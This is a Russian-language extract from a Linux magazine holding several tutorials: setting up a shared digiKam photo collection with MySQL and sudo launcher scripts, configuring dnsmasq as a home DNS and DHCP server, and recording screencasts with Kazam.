то рый мо жет из ме нять аль бо мы, фо то гра фии в digiKam и пре ж де 
все го ба зу дан ных для этой кол лек ции. Дру ги ми сло ва ми, ка ж дый 
уча стник ко ман ды мо жет вы пол нять два пер вых эта па в лю бой мо
мент в сво ей учет ной за пи си Linux, да же ес ли все осталь ные уча
стники де ла ют то же са мое. Но для вы полнения двух по следних 
эта пов он дол жен вы звать скрипт, ко то рый за пуска ет digiKam 
от имени поль зо ва те лявла дель ца или вы да ет пре ду пре ж дение 
или за вер ша ет ся, ес ли та кой эк зем п ляр digiKam уже за пу щен.

У вла дель ца бу дет толь ко об щая кол лек ция, аль бо мы ко то рой 
(и, сле до ва тель но, все ме та дан ные фо то гра фий) бу дут доступ ны 
для чтения дру гим поль зо ва те лям. Так мы смо жем из бе жать кол
ли зий, и ка ж дый поль зо ва тель смо жет иметь столь ко при ват ных 
кол лек ций, сколь ко за хо чет, и смо жет про смат ри вать и ис кать 
фо то гра фии в об щей кол лек ции в сво ей про грам ме digiKam.

Под го тов ка и реа ли за ция
По смот рим, как на стро ить все это для двух поль зо ва те лей. В объ
яснении ниже, test_1 – поль зо ва тельвла де лец, ко то ро го нуж
но соз дать с ну ля толь ко для то го, что бы он был вла дель цем об
щей кол лек ции. Test_2 – лю бой из (уже су ще ст вую щих) обыч ных 
поль зо ва те лей, ко то рым эта кол лек ция долж на быть доступ на 
для чтения.

Вре мен ная пап ка долж на быть доступ на на чтение и запись 
поль зо ва те лю test_1 и всем ре дак то рам. Обыч ные поль зо ва те ли 
мо гут хранить пер со наль ные кол лек ции digiKam в лю бом мес те.

Пап ка с об щей кол лек ци ей (в на ших при ме рах – /home/z/
pictures) осо бен ная по двум при чи нам. Вопер вых, толь ко у поль
зо ва те ля test_1 долж но быть пра во из менения фай лов и ка та ло
гов внут ри это го ка та ло га, но у ре дак то ров долж но быть пра во 
их про смат ри вать. Это по зво ля ет из бе жать слу чай но го из менения 
или уда ления фо то гра фий при про смот ре об щей кол лек ции поль
зо ва те ля ми с их пер со наль ных учет ных за пи сей. Для это го мож
но ли бо сде лать test_1 чле ном спе ци аль ной груп пы, где не бу дет 
дру гих поль зо ва те лей, ли бо по иг рать с на строй ка ми прав досту па 
по умол чанию. Что бы уз нать, как это сде лать, оз на комь тесь с man
страница ми команд umask и adduser, а так же с SELinux и до ку мен
та ци ей по управ лению поль зо ва те ля ми сво его ди ст ри бу ти ва.

Ес ли вы ра бо тае те в се ти, вы так же долж ны пре ду смот реть, 
что бы и вре мен ный ка та лог, и уст рой ст во, где хранит ся об щая 

> В ре жи ме вла-
дель ца в digiKam 
(об ра ти те вни ма-
ние на те му!) лю бой 
мо жет оце ни вать, 
ком мен ти ро вать 
и про став лять тэ ги 
ко всем фо то гра-
фи ям в се мей ной 
кол лек ции�
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кол лек ция, бы ли доступ ны всем поль зо ва те лям, же ла тель но 
по од но му и то му же аб со лют но му пу ти. Для это го про ще все
го на стро ить об щий ре сурс NFS. Ес ли путь по че мули бо не мо
жет быть оди на ко вым для всех, нуж но внести со от вет ст вую щие 
из менения в скрипт для эта па 1. Те перь пе рей дем к ба зе дан ных. 
Ес ли вы хо ти те ис поль зо вать MySQL для об щей кол лек ции, вот 
ко ман ды для соз дания со от вет ст вую щих баз дан ных (вы пол нять 
их нуж но от имени root):
[root ~]# mysqladmin create shared_digikam
[root ~]# mysqladmin create thumbnails_shared_digikam
[root ~]# mysql u root
mysql> use mysql;
mysql> CREATE USER ‘test_1’@’localhost’ IDENTIFIED BY 
‘digikam’;
mysql> grant all privileges on shared_digikam.* to 
‘test_1’@’localhost’;
mysql> grant all privileges on thumbnails_shared_digikam.* to 
‘test_1’@’localhost’;
mysql> exit;

По следний этап на строй ки вла дель ца – на строй ка digiKam. 
Сра зу по сле соз дания ак ка ун та test_1 от крой те тер ми нал, пе ре
клю чи тесь на поль зо ва те ля test_1 и за пусти те digiKam:
marco ~> su  test_1
Password:
[test_1 ~> digikam&

Так как это пер вый за пуск digiKam для дан но го поль зо ва те
ля, от кро ет ся мас тер. Ука жи те, что фо то гра фии нуж но хранить 
в /home/z/pictures и что нуж но до бав лять ин фор ма цию в фай
лы. За тем вве ди те под хо дя щие па ра мет ры ба зы дан ных и соз
дай те локаль ную се мей ную кол лек цию в /home/z/pictures. В этот 
мо мент мас тер за пустит digiKam, ко то рая за гру зит все аль бо мы, 
уже имею щие ся в се мей ной кол лек ции. Пре ж де чем де лать чтото 
еще, со ве ту ем зай ти в Settings > Theme [На строй ки > Те ма] и вы
брать те му, ко то рую не вы брал ни один из дру гих поль зо ва те лей 
digiKam. Это не обя за тель но, но удоб но, так как на по ми на ет поль
зо ва те лям, что они за пуска ют про грам му в ре жи ме вла дель ца, 
а не в обыч ном ре жи ме.

Те перь мож но ска зать всем уча стникам, что они мо гут до ба
вить но вую се мей ную кол лек цию в свои на строй ки digiKam. Ка ж
дый раз, когда они за хо тят про смот реть эту кол лек цию из сво его 
эк зем п ля ра про грам мы, им при дет ся вы брать пункт ме ню Album 
> Reread metadata from images [Аль бом > Пе ре чи тать ме та дан ные 
изо бра жений]. Из бе жать это го нель зя, ес ли они хо тят уви деть тэ
ги и ком мен та рии, до бав лен ные в ре жи ме вла дель ца.

Вам так же при дет ся объ яснить сво им партнерам, как за пустить 
digiKam в ре жи ме вла дель ца ка ж дый раз, когда они бу дут до бав
лять, снаб жать тэ га ми или оценивать фо то гра фии в этой кол лек
ции. Вкрат це, вы долж ны соз дать про стые скрип ты, ко то рые соз
да ют файл бло ки ров ки и за пуска ют digiKam, за тем на страи ва ют 
все учет ные за пи си (и ком пь ю те ры) с Linux, так что поль зо ва те ли 
мо гут за пустить этот скрипт (с команд ной стро ки или щелк
нув по икон ке на ра бо чем сто ле) с иден ти фи ка то ром поль зо ва
те ля test_1. Тео ре ти че  ски по сле нуж ной на строй ки ко ман ды sudo 
скрип ты мо гут быть та ки ми:
~>cat /home/test1/digikam_owner
#! /bin/bash
   if [ d “/home/test1/digikam_owner_lock” ]
      do
         echo “Warning: somebody else is already working in owner 
mode!”
         exit
      done
   mkdir /home/test1/digikam_owner_lock
   /usr/bin/digikam && rmdir /home/test1/digikam_owner_lock
   ~>cat digikam_launcher

   #! /bin/bash
   xhost local:test_1
   sudo u test_1  /home/test1/digikam_owner

Пер вый скрип вы да ет пре ду пре ж дение и за вер ша ет ся, ес ли ка
та лог /home/test1/digikam_owner_lock су ще ст ву ет. В про тив ном 
слу чае он соз да ет этот ка та лог, за пуска ет digiKam и уда ля ет этот 
ка та лог по сле за вер шения ра бо ты digiKam.

На прак ти ке этот этап боль ше все го за ви сит от ис поль зуе мо го 
ди ст ри бу ти ва, его на стро ек, ва ших пер со наль ных пред поч тений, 
при вы чек и уров ня па ра нойи. Вам са мим при дет ся ра зо брать ся 
в том, что в ва шем кон крет ном слу чае оз на ча ет «за пуск про грам
мы от имени дру го го поль зо ва те ля», но это оп ре де лен но мож но 
сде лать – и это все, что вам нуж но.

Аль тер на тив ный под ход
Аб со лют но дру гой под ход, ко то рым мож но восполь зо вать ся – за
пускать digiKam в ре жи ме вла дель ца в се ан се NX (под роб но сти см. 
на www.nomachine.com) для поль зо ва те ля test_1, это мож но сде
лать да же с уда лен но го ком пь ю те ра и/или ком пь ю те ра с Windows.

Пред ло жен ный ра бо чий про цесс от де ля ет от осталь ных 
дей ст вий все дей ст вия digiKam с об щей кол лек ци ей, тре бую щие 
из менения ба зы дан ных и ме та дан ных, пе ре дав их в осо бую учет
ную запись поль зо ва те ля. В та ком ра бо чем ок ру жении поль зо ва
те ли мо гут про смат ри вать и ис кать (но не из ме нять!) все аль бо мы 
и фо то гра фии этой кол лек ции в сво их эк зем п ля рах digiKam. Они 
мо гут за гру жать в свои ба зы дан ных лю бые ме та дан ные, ко то рые 
лю бой из них со хранил в этих фо то гра фи ях, ра бо тая с ними в ре
жи ме вла дель ца. У поль зо ва те лей так же оста ет ся воз мож ность 
в лю бое вре мя де лать все что угод но со все ми свои ми пер со наль
ны ми кол лек ция ми (и толь ко с ними). Лю бая по пыт ка (на ме рен
ная или нет) из менить се мей ную кол лек цию за вер шит ся неуда
чей, по то му что толь ко у учет ной за пи си вла дель ца есть пра ва 
досту па на за пи си в свои ка та ло ги и воз мож ность про смот ра на
стоя щей ба зы дан ных в digiKam.

Пер вое ог раничение это го ре шения в том, что для из менения 
об щей кол лек ции поль зо ва те ли долж ны за пускать еще один эк
зем п ляр digiKam. Кро ме то го, поль зо ва те ли долж ны пе ре за гру
жать ме та дан ные вруч ную в сво их эк зем п ля рах digiKam. Это 
неболь шая це на, ес ли по ду мать, сколь ко уси лий она мо жет сэ ко
но мить. Бо лее зна чи тель ный недоста ток в том, что дан ные, ко то
рые digiKam не за пи сы ва ет в фо то гра фии, на при мер, за го лов ки 
и ка те го рии аль бо мов, оста нут ся ви ди мы ми (и доступ ны ми) толь
ко при за пуске digiKam в ре жи ме вла дель ца.

Боль шая это про бле ма или нет, за ви сит от то го, как вы бу де
те поль зо вать ся digiKam. Ес ли да, то есть нетри ви аль ное, но осу
ще ст ви мое ре шение – на пи сать до полнитель ные скрип ты, ко то
рые пе рио ди че  ски или пря мо пе ред за пуском digiKam ко пи ру ют 
все эти дан ные из ба зы дан ных вла дель ца в пер со наль ные ба зы 
дан ных. |

> Ме та дан ные фо-
то гра фий, до бав-
лен ные в ре жи ме 
вла дель ца, ос та-
ют ся дос туп ны ми 
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наль ных учет ных 
за пи сей ка ж до го 
ре дак то ра!
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За гру зи те его ис ход ный код с www.thekelleys.org.uk/dnsmasq 
или уста но ви те dnsmasq из менед же ра па ке тов сво его ди ст ри
бу ти ва обыч ным об ра зом. Что бы dnsmasq ра бо тал как про стой 
кэ ши рую щий сер вер DNS для локаль ной се ти, спе ци аль ной на
строй ки не тре бу ет ся. Ес ли ком пь ю тер, на ко то рый вы его уста
нав ли вае те, уже име ет вы ход в Ин тернет бла го да ря вер но за
дан ным на строй кам в /etc/resolv�conf (/etc/resolv�conf со дер жит 
ад ре са ис поль зуе мых сер ве ров имен) и об ща ет ся с се тью LAN 
бла го да ря то му, что все нуж ные ад ре са есть в /etc/hosts, доста
точ но про сто уста но вить и за пустить dnsmasq, так как по умол
чанию при раз ре шении ад ре сов про грам ма сна ча ла смот рит 
в /etc/hosts и за тем в /etc/resolv�conf. На дру гих ком пь ю те рах се ти 
за дай те ад рес пер вич но го сер ве ра DNS в со от вет ст вии с ад ре сом 
ком пь ю те ра, на ко то ром за пу щен dnsmasq. В Linux для это го нуж
но из менить /etc/resolv�conf так, что бы в нем бы ла стро ка
nameserver 192.168.1.1

За мените 192.168.1.1 на ад рес сер ве ра dnsmasq. Ес ли ком пь ю
те ры по лу ча ют ин фор ма цию о под клю чении от мар шру ти за то
ра (ро уте ра) по DHCP, нуж но за дать этот ад рес в webин тер фей
се ро уте ра, что бы он всем объявил: нуж но поль зо вать ся dnsmasq.

Иметь под ру кой локаль ный сер вер имен очень удоб но, ес ли 
все уст рой ст ва на строе ны ста ти че  ски, так как всю ин фор ма цию 
о се ти мож но хранить в од ном мес те; но боль шин ст во уст ройств 
ожи да ет ди на ми че  ской кон фи гу ра ции по DHCP. Как же dnsmasq 
уз на ет ад ре са этих уст ройств? Здесь есть очень про стое ре шение: 
у dnsmasq есть встро ен ный сер вер DHCP.

Так как DHCPсер вер раз да ет IPад ре са, то он зна ет ад рес ка
ж до го уст рой ст ва в се ти; по это му в неболь шой се ти есть смысл 
объ е динить две опе ра ции, что и де ла ет dnsmasq. Ес ли мы хо
тим, что бы он вы сту пал в ка че  ст ве DHCPсер ве ра, при дет ся из
менить его файл на строй ки – /etc/dnsmasq�conf. Он со дер жит все 
па ра мет ры по умол чанию и уста нав ли ва ет ся вме сте с про грам
мой, что по вы ша ет риск пе ре за пи си это го фай ла при об нов лении 
про грам мы; по это му я соз дал от дель ный файл в /etc/dnsmasq�d/ 

Б
ы ли вре ме на, когда и один ком пь ю тер до ма счи тал ся ди
вом. По том мы на ча ли поль зо вать ся Ин тернетом и ут ру ж
дать ся вся ки ми се те вы ми за тея ми, но о них в основ ном за

бо ти лись про вай дер и мо дем. Ес ли по яв лял ся вто рой ком пь ю тер, 
бы ло до воль но про сто на стро ить ста ти че скую ад ре са цию и сле
дить за тем, что есть что. А те перь в ка ж дом до ме по несколь
ку под клю чен ных уст ройств, и неко то рые из них под клю ча ют ся 
из раз ных мест. А зна чит, нам нуж но некое сред ст во ав то ма ти
че  ской на строй ки для управ ления ад ре са ми, вы де ления их уст
рой ст вам при необ хо ди мо сти и вы да чи дру гим уст рой ст вам ад ре
са уст рой ст ва, с ко то рым они хо тят по об щать ся. Здесь дей ст ву ют 
два от дель ных про то ко ла. DNS (Domain Name Service – сер вис до
мен ных имен) – это те ле фон ная книга Ин тернета: он на хо дит IP
ад рес ком пь ю те ра, с ко то рым вы хо ти те по об щать ся, будь то но
ут бук в со седней ком на те или боль шая по ис ко вая сис те ма. DHCP 
(Dynamic Host Configuration Protocol – про то кол ди на ми че  ской на
строй ки хоста) – сред ст во, с по мо щью ко то ро го уст рой ст во го во
рит се ти: «При вет, я здесь» и по лу ча ет в от вет IPад рес, а так же 
дру гую по лез ную ин фор ма цию: о мар шру ти за ции се ти и рас по
ло жении сер ве ров DNS.

Сер вис до мен ных имен
Сер ве ры DNS обыч но пре достав ля ют ся ва шим про вай де ром или 
боль ши ми пуб лич ны ми сер ве ра ми, но они зна ют толь ко о пуб лич
ных ад ре сах. Что про изой дет, ес ли вам по на до бит ся ад рес дру
го го уст рой ст ва в ва шей се ти? Раньше для это го ис поль зо ва лась 
ста ти че  ская ад ре са ция, и спи сок всех локаль ных хостов хранил ся 
в фай ле /etc/hosts на ка ж дом локаль ном ком пь ю те ре, но се го дня 
это непрак тич но. Это не толь ко об ре менитель но изза уве ли чения 
ко ли че  ст ва уст ройств: ста ти че  ская ад ре са ция для мо биль ных 
уст ройств – гдето по се ре дине ме ж ду неудоб ной и невоз мож ной.

dnsmasq – локаль ный кэ ши рую щий сер вер DNS для ис поль зо
вания в локаль ных се тях. У него есть па ра пре иму ществ по срав
нению с DNSсер ве ра ми в Ин тернете. Вопер вых, ему мож но со
об щить па ра мет ры сво ей локаль ной се ти, и он смо жет раз ре шать 
име на хостов для всех ва ших уст ройств. Вовто рых, в нем есть кэ
ши ро вание. Ес ли он не на хо дит имени хоста в сво ем фай ле hosts, 
он за пра ши ва ет ин фор ма цию у пуб лич ных DNSсер ве ров, как 
и пре ж де, но от вет за по ми на ет, и когда тот же ад рес по на до бит ся 
дру го му ком пь ю те ру в се ти, от вет бу дет уже го тов.

Нейл Бот вик по ка зы ва ет, как на стро ить ло каль ный сер вер до мен ных имен (DNS) 
с dnsmasq.

dnsmasq: DNS- 

Наш 
эксперт

У Ней ла Бот ви ка 
по ком пь ю те ру 
в ка ж дой ком на те, 
но по со об ра же
ни ям безо пас но
сти он ни за что 
не ска жет вам, 
где на хо дит ся цен
траль ный сер вер.

> Хра не ние на стро ек ка ж до го уст рой ст ва в от дель ных фай лах 
уп ро ща ет управ ле ние бо лее слож ны ми се тя ми с dnsmasq�

Здесь мы го во ри ли о за пуске dnsmasq 
в ка че  ст ве сер ви са на ком пь ю те ре, 
но в неко то рых ро уте рах (они же маршру
тизаторы) он уже ис поль зу ет ся для реа ли
за ции DHCP и кэ ши ро вания DNS. 

Поч ти все, о чем мы го во ри ли, мож но 
при менить к dnsmasq в ро уте ре, ес ли 
ро утер да ет доступ к фай лам на строй ки. 

Обыч но это де ла ет ся че рез webин тер фейс 
ро уте ра, где есть тек сто вое по ле, в ко то
рое мож но вста вить те же па ра мет ры, 
что и в фай ле на строй ки. Ес ли на ва шем 
ро уте ре за пу ще на DDWRT или OpenWRT, 
у вас так же долж на быть воз мож ность 
под клю чить ся к ро уте ру по SSH и от ре дак
ти ро вать фай лы на пря мую.

dnsmasq в ро уте рах
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и рас ком мен ти ро вал сле дую щую стро ку в кон це файла /etc/
dnsmasq�conf:
confdir=/etc/dnsmasq.d

Что бы вклю чить сер вер, нуж но ак ти ви ро вать па ра метр dhcp-
range – стро ка в dnsmasq�conf по умол чанию име ет вид
#dhcprange=192.168.0.50,192.168.0.150,12h

Ско пи руй те ее в свой файл на строй ки, уда ли те сим вол ком мен
та рия и из мените ад ре са, что бы они со от вет ст во ва ли ва шей се
ти. Это на ча ло и конец диа па зо на ад ре сов, из ко то ро го dnsmasq 
мо жет вы де лять ад ре са. Тре тий па ра метр за да ет вре мя дей ст вия 
ад ре са по умол чанию – 12 ча сов. Ес ли DHCP у вас пре достав ля ет 
ро утер, от клю чи те этот DHCP: два DHCPсер ве ра в од ной се ти мо
гут при вес ти к пу танице. По сле из менения лю бо го из фай лов на
строй ки dnsmasq нуж но пе ре за пустить сер вис или от пра вить ему 
сиг нал SIGHUP, что бы он пе ре за гру зил свои на строй ки:
killall HUP dnsmasq

Мар шру ти за ция Ин тер не та
Те перь лю бое уст рой ст во, под клю чен ное к се ти, по лу чит ад рес 
от dnsmasq и начнет ис поль зо вать dnsmasq в ка че  ст ве сер ве
ра имен по умол чанию, но ско рее все го не смо жет под клю чить ся 
к Ин тернету. За это от ве ча ет тре тий важ ный па ра метр, пре достав
ляе мый сер ве ром DHCP – шлюз по умол чанию. Так как мы не ука
за ли dnsmasq, где находится шлюз, тот пред по ла га ет, что шлюз 
на том же ком пь ю те ре. Ес ли dnsmasq за пу щен на ро уте ре, ника
ких про блем нет; в про тив ном слу чае нуж но до ба вить в на строй ки 
ад рес ро уте ра:
dhcpoption=option:router,192.168.1.2

Иногда бы ва ет ну жен ста ти че  ский ад рес – от фай ло во го сер
ве ра ма ло поль зы, ес ли вы не знае те, где он. На стро ить та кое уст
рой ст во мож но вруч ную со ста ти че  ским ад ре сом, но что бы его 
имя хоста мож но бы ло раз ре шить, нуж но до ба вить ин фор ма
цию о нем в dnsmasq. Бо лее чис тый ва ри ант – оста вить в нем ав
то ма ти че скую на строй ку и ве леть dnsmasq на зна чать это му уст
рой ст ву всегда один и тот же ад рес. Здесь ста но вит ся удоб ным 
от дель ный ка та лог для хранения кон фи гу ра ции – так мож но 
иметь один файл для об щих на стро ек и от дель ный файл для спе
ци фич ных на стро ек ка ж до го хоста, что де ла ет управ ление се тью 
го раз до ком фортнее. Вот при мер из мо ей до машней се ти:
dhcphost=B8:27:EB:8B:6F:CF,192.168.1.11,jeltz
txtrecord=jeltz,”Raspberry Pi file server”

Здесь ва жен па ра метр dhcp-host – он со сто ит из трех час тей, 
раз де лен ных за пя ты ми. Пер вая – MACад рес се те во го ин тер фей
са, ис поль зуе мо го для под клю чения это го ком пь ю те ра к се ти. 
Что бы его уз нать, вы полните ко ман ду ifconfig или ip link show или 
за гляните в гра фи че скую ути ли ту на строй ки се ти (ес ли на ком
пь ю те ре есть гра фи че  ский ин тер фейс). Вто рая часть – IPад рес, 
вы де ляе мый уст рой ст ву. Этот ад рес не дол жен быть ранее вы
дан ным дру го му уст рой ст ву. Что бы точ но это го из бе жать, эти ад
ре са долж ны быть вне диа па зо на, за дан но го ранее в па ра мет ре 
dhcp-range. Тре тья часть – имя хоста, ко то рое бу дет вы де ле но уст
рой ст ву и ко то рое dnsmasq за тем смо жет раз ре шить при за про се 
от дру го го уст рой ст ва в се ти.

Вы мо же те недо уме вать, что де ла ет вто рая стро ка. А она на зна
ча ет ком пь ю те ру некое опи сание, вы во ди мое при за пуске
dig +short hostname txt

Это удоб но при раз рас тании се ти или ухуд шении па мя ти, и это 
про сто на по ми нание, вро де ком мен та рия в ко де. 

Хранение всех се те вых на стро ек в од ном мес те уп ро ща
ет управ ление се тью и ре зерв ное ко пи ро вание на стро ек. Так как 
на строй ка всех уст ройств попрежнему ав то ма ти че  ская, на них 
не нуж но ниче го ме нять, ска жем, при уста нов ке но во го ро уте ра 
с дру гим ад ре сом. Ес ли вы поль зуе тесь но ут бу ком, у него мо жет 
быть два ин тер фей са, про вод ной и бес про вод ной, с раз лич ны ми 
MACад ре са ми, но вам, на вер ное, бы ло бы удобнее, что бы ка ж
дый раз при под клю чении он по лу чал один и тот же ад рес. Для 
это го нуж но лишь ука зать оба MACад ре са, раз де лен ных за пя ты
ми, та ким об ра зом:
dhcphost=20:68:9d:bc:08:f5,50:46:5d:32:e2:51,192.168.1.8,host
name

В этом слу чае dnsmasq пред по ла га ет, что вы знае те, что де лае
те, по это му не пы тай тесь од но вре мен но вклю чить оба ин тер фей
са, ина че чтонибудь мо жет вый ти из строя. 

На на шем уро ке мы лишь по верх но ст но косну лись воз мож но
стей dnsmasq. Когда вы начнете им поль зо вать ся, ком мен та рии 
в кон фи гу ра ци он ном фай ле по умол чанию и FAQ на сай те про ек та 
да дут вам го раз до боль ше но вых идей. |

сер ве ры

> Ес ли ваш ро-
утер ис поль зу-
ет dnsmasq, мож-
но про сто вста-
вить нуж ные на-
строй ки в его 
web-ин тер фейс�

Воз мож но, вы слы ша ли о BIND в свя зи 
с DNS. BIND – это дефак то про грам ма 
DNSсер ве ра, ис поль зуе мая на боль ших 
сер ве рах. 

Ес ли вы за пускае те от кры тый для 
досту па из вне DNSсер вер для управ

ления до ме на ми, на нем долж на ра бо тать 
про грам ма вро де BIND. dnsmasq – со всем 
дру гой зверь, об лег чаю щий управ ление 
неболь ши ми и средними ча ст ны ми се тя ми. 
Он не об ла да ет ни воз мож но стя ми, 
ни слож но стью, ни из держ ка ми BIND.

dnsmasq – это не BIND
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По ка эта ре во лю ция про дол жа ет ся, про ис хо дит и дру гая ре во
лю ция, хо тя и не та кая мас штаб ная: заметное увеличение объ е
ма ви део в Linux. 

Хо тя ре дак ти ро вание ви део в Linux тра ди ци он но ослож ня лось 
борь бой со сбоя ми ПО, рост ко ли че  ст ва ути лит и ко де ков пре вра
тил Linux в мощ ную плат фор му для об ра бот ки ви део. В про шлых 
стать ях мы уже рас ска зы ва ли о ря де та ких ути лит, а се го дня об
ра тим на ше внимание на менее из вест ную, но об ла даю щую ог
ром ны ми воз мож но стя ми часть этой сис те мы – скрин ка сты.

По де ли тесь сво им эк ра ном
Скрин ка стинг – ис кусст во за пи си кар тин ки с монито ра для де
мон ст ра ции про грамм и раз но об раз ных их функций, или, в бо
лее об щем слу чае, для обу чения дру гих поль зо ва те лей ра бо те 
со всем мно го об ра зи ем ути лит и воз мож но стей ра бо че го сто
ла Linux. К сча стью, скрин ка стинг не толь ко прост в освоении, 
но и приносит мно го поль зы.

Как лег ко пред ста вить, су ще ст ву ет нема ло ва ри ан тов ути лит 
за пи си ра бо че го сто ла, при чем ка че  ст во у них до воль но силь но 
разнит ся. Я пе ре про бо вал мно гие из них, и по ка са мой на деж ной 
мне ка жет ся Kazam.

Kazam мож но най ти в хранили ще при ло жений/менед же ре па
ке тов боль шин ст ва ди ст ри бу ти вов. У Kazam про стой гра фи че  ский 
ин тер фейс, и он до воль но гиб ко на страи ва ет ся. Ус та но ви те Kazam 
в сво ем ди ст ри бу ти ве и щелкните по икон ке на ра бо чем сто ле, 
что бы его за пустить. 

Когда Kazam от кро ет ся, вы уви ди те про стое ок но, по ка зан ное 
на рис. 1. Ре жи мов ра бо ты у Kazam че ты ре:
» Пол ный эк ран В этом ре жи ме за пи сы ва ет ся весь эк ран, вклю чая 
ра бо чий стол. Это удоб но для тех ру ко водств, в ко то рых вы поль
зуе тесь как менед же ром ра бо че го сто ла, так и при ло жения ми.
» Все эк ра ны Ес ли у вас несколь ко монито ров, в этом ре жи ме 
мож но за пи сать их все. Иногда это не слиш ком прак тич но, осо
бен но ес ли у вас два монито ра и, сле до ва тель но, очень ши ро кий 
фор мат. По лу чен ное ви део мо жет вы гля деть немно го стран но 
при про иг ры вании на од ном монито ре.
» Ок но В этом ре жи ме мож но вы брать ок но для за пи си. Это пре
крас ный ва ри ант, ес ли в скрин ка сте нуж но со сре до то чить ся 
на кон крет ном при ло жении.
» Об ласть Это, по жа луй, са мый по лез ный ре жим. В нем мож но 
вы брать об ласть эк ра на, ко то рую вы хо ти те за пи сать, и все в этой 
об лас ти бу дет за пи са но. Это удоб но, ес ли в скрин ка сте долж но 
быть несколь ко при ло жений, но вы не хо ти те вклю чать в него ра
бо чий стол.

Что бы вы брать один из этих ре жи мов, про сто щелкните по со
от вет ст вую щей икон ке в Kazam. В неко то рых ре жи мах вам при
дет ся вы брать чтото еще. На при мер, в ре жи ме «Ок но» вас по
про сят вы брать ок но, а в ре жи ме «Об ласть» – вы де лить об ласть 
эк ра на, ко то рую нуж но за пи сать.

Как вид но по рис. 1, в окне есть и неко то рые до полнитель ные 
на строй ки. Здесь мож но вы брать, нуж но ли за пи сы вать кур сор 
мы ши (это ре ко мен ду ет ся де лать в тех ру ко во дствах, когда поль
зо ва тель дол жен ви деть, где вы щел кае те). Так же мож но вы брать, 

О
дин из са мых неве ро ят ных фе но ме нов Ин тернета – ре
во лю ция ви део. На чав шая ся, на вер ное, с YouTube и уси
лен ная Vimeo и дру ги ми сер ви са ми, она да ла ка ж до му, 

у ко го есть ком пь ю тер и ви део ка ме ра, воз мож ность от пра вить 
свое видеосо об щение ми ру. Та кие со об щения мо гут из ме нять 
мир, на при мер, при зы вы к борь бе с ра ком, или за бав лять, на
при мер, се мей ка ко тят, разъ ез жаю щая на пы ле со се. Ка ки ми бы 
ни бы ли со об щения, ау ди то рия для них поч ти всегда най дет ся.

Джо но Бэ кон де мон ст ри ру ет ве се лый спо соб соз дания ин те рес ных  
и ин фор ма тив ных обу чаю щих скрин ка стов.

Kazam: За пись 

> Рис� 1� Про стой и ак ку рат ный поль зо ва тель ский ин тер фейс 
Kazam�

Наш 
эксперт

Джо но Бэ кон 
управ ля ет со об ще
ст вом Ubuntu; он 
ав тор кни ги «Ис
кус ст во со об ще ст
ва» и ос но ва тель 
еже год но го сам
ми та ру ко во ди те
лей со об ще ст ва.
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сто ит ли за пи сы вать звук, и вы брать ис поль зуе мое гнез до мик ро
фо на. Запись зву ка важ на в тех ру ко во дствах, в ко то рых вы хо
тите снаб дить свои дей ст вия ком мен та рия ми.

За дав эти па ра мет ры, на жми те на кноп ку Capture [На чать за
пись], и начнет ся об рат ный от счет до на ча ла за пи си. С на ча
лом за пи си начните вы пол нять дей ст вия для сво его скрин ка ста. 
Что бы оста но вить (или приоста но вить) запись, щелкните на ин
ди ка то ре при ло жения в сис тем ном лот ке сво его ра бо че го сто ла 
и вы бе ри те Finish [За кон чить] или Pause [Пау за] из ме ню.

На строй ка Kazam
Те перь мы уме ем на чать запись, и по ра по зна ко мить ся с на строй
ка ми, о ко то рых сле ду ет знать. Что бы от крыть на строй ки Kazam, 
вы бе ри те File > Preferences [Файл > На строй ки].

Пер вый па ра метр, ко то рый мож но из менить – Framerate [Час
то та кад ров] на вклад ке Screencast [Скрин каст]. По умол чанию 
она уста нов ле на в 15 кад ров в се кун ду, что хо тя и при ем ле мо, 
но даст в ре зуль та те не са мое чет кое в ми ре ви део.

Здесь вы натолкнетесь с од
ним из са мых слож ных во про
сов, ко то рый бес по ко ит скрин
ка сте ров: на сколь ко мож но 
уве ли чи вать час то ту кад ров, 
что бы при этом со хранить 
про из во ди тель ность?

Это во прос, ко то рый нуж но тща тель но про ду мать, и от вет 
на него за ви сит от то го, что вы за пи сы вае те. На при мер, ес ли 
у вас лег кое при ло жение, то на доста точ но бы ст ром ком пь ю те ре 

час то ту, видимо, мож но уве ли чить до 30 кад ров в се кун ду; а для 
тя же ло го при ло жения или иг ры да же 15 кад ров в се кун ду мо жет 
быть мно го. Оцените бы ст ро дей ст вие сво его ком пь ю те ра и вид 

за пи сы вае мого при ло жения, 
пере про буй те несколько ва
ри ан тов, и в итоге вы отыще те 
оп ти маль ный.

Дру гой во прос – за пи сы
вать ли звук. Запись зву ка 
с мик ро фо на или зву ко во го 

по то ка с ди на ми ков так же влия ет на про из во ди тель ность скрин
ка ста. Мы по го во рим о за пи си зву ка поз же, когда бу дем об су ж
дать ха рак те ри сти ки скрин ка ста, но здесь опять же нуж но ид ти 

 » Не хотите пропустить номер?  Подпишитесь на www.linuxformat.ru/subscribe/!

сво его дис плея

> OpenShot иде аль-
но под хо дит для 
ре дак ти ро ва ния 
скрин ка стов�

Мик ро фон вы со ко го ка че  ст ва мо жет бу к
валь но пре об ра зить ка че  ст во скрин ка ста. 
Со ве ту ем при об ре сти USBXLR адап тер 
Shure X2U и под клю чить один из сле дую
щих мик ро фо нов:
» Shure SM54
Ве те ран с точ ки зрения гиб ко сти, SM54 
дав но ис поль зу ет ся для за пи си ин ст ру
мен тов и во ка ла. Это хо ро шая ра бо чая 
ло шад ка и не слиш ком до ро гая.

» Sennheiser E835
По мнению неко то рых, от вет Shure SM54 – 
Sennheiser E835, это фан та сти че  ский мик
ро фон об ще го на зна чения с пре восход ной 
за пи сью во ка ла.
» AKG C2000
Фан та сти че  ский кон ден са тор ный мик ро
фон с чис тым зву ком. Под клю чив та кой 
мик ро фон, вы бу де те зву чать как про фес
сио нал.

Вы бор мик ро фо на

«Запись звука также 
влияет на производи-
тельность скринкаста.»
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пу тем проб и оши бок. По иг рай те с раз лич ны ми ис точника ми зву
ка и оцените ка че  ст во изо бра жения и зву ка в го то вых ро ли ках.

Еще один па ра метр, ко то рый мож но за дать – фор мат ви
део, ис поль зуе мый Kazam. Хо тя здесь есть несколь ко ва ри ан
тов, со ве тую вы брать RAW. Этот фор мат не тре бу ет слож но го ко
ди ро вания, по это му об ла да ет боль шей про из во ди тель но стью 
по сравнению с дру ги ми. Луч ше мы за пи шем свой скрин каст, от
ре дак ти ру ем его в OpenShot и пе ре ко ди ру ем в бо лее удоб ный 
фор мат по том; сей час неза чем ду шить Kazam бо лее слож ным 
фор ма том, снижая про из во ди тель ность.

Ха рак те ри сти ки скрин ка ста
Од но из пре иму ществ скрин ка стин га – под лин ная про сто та ути
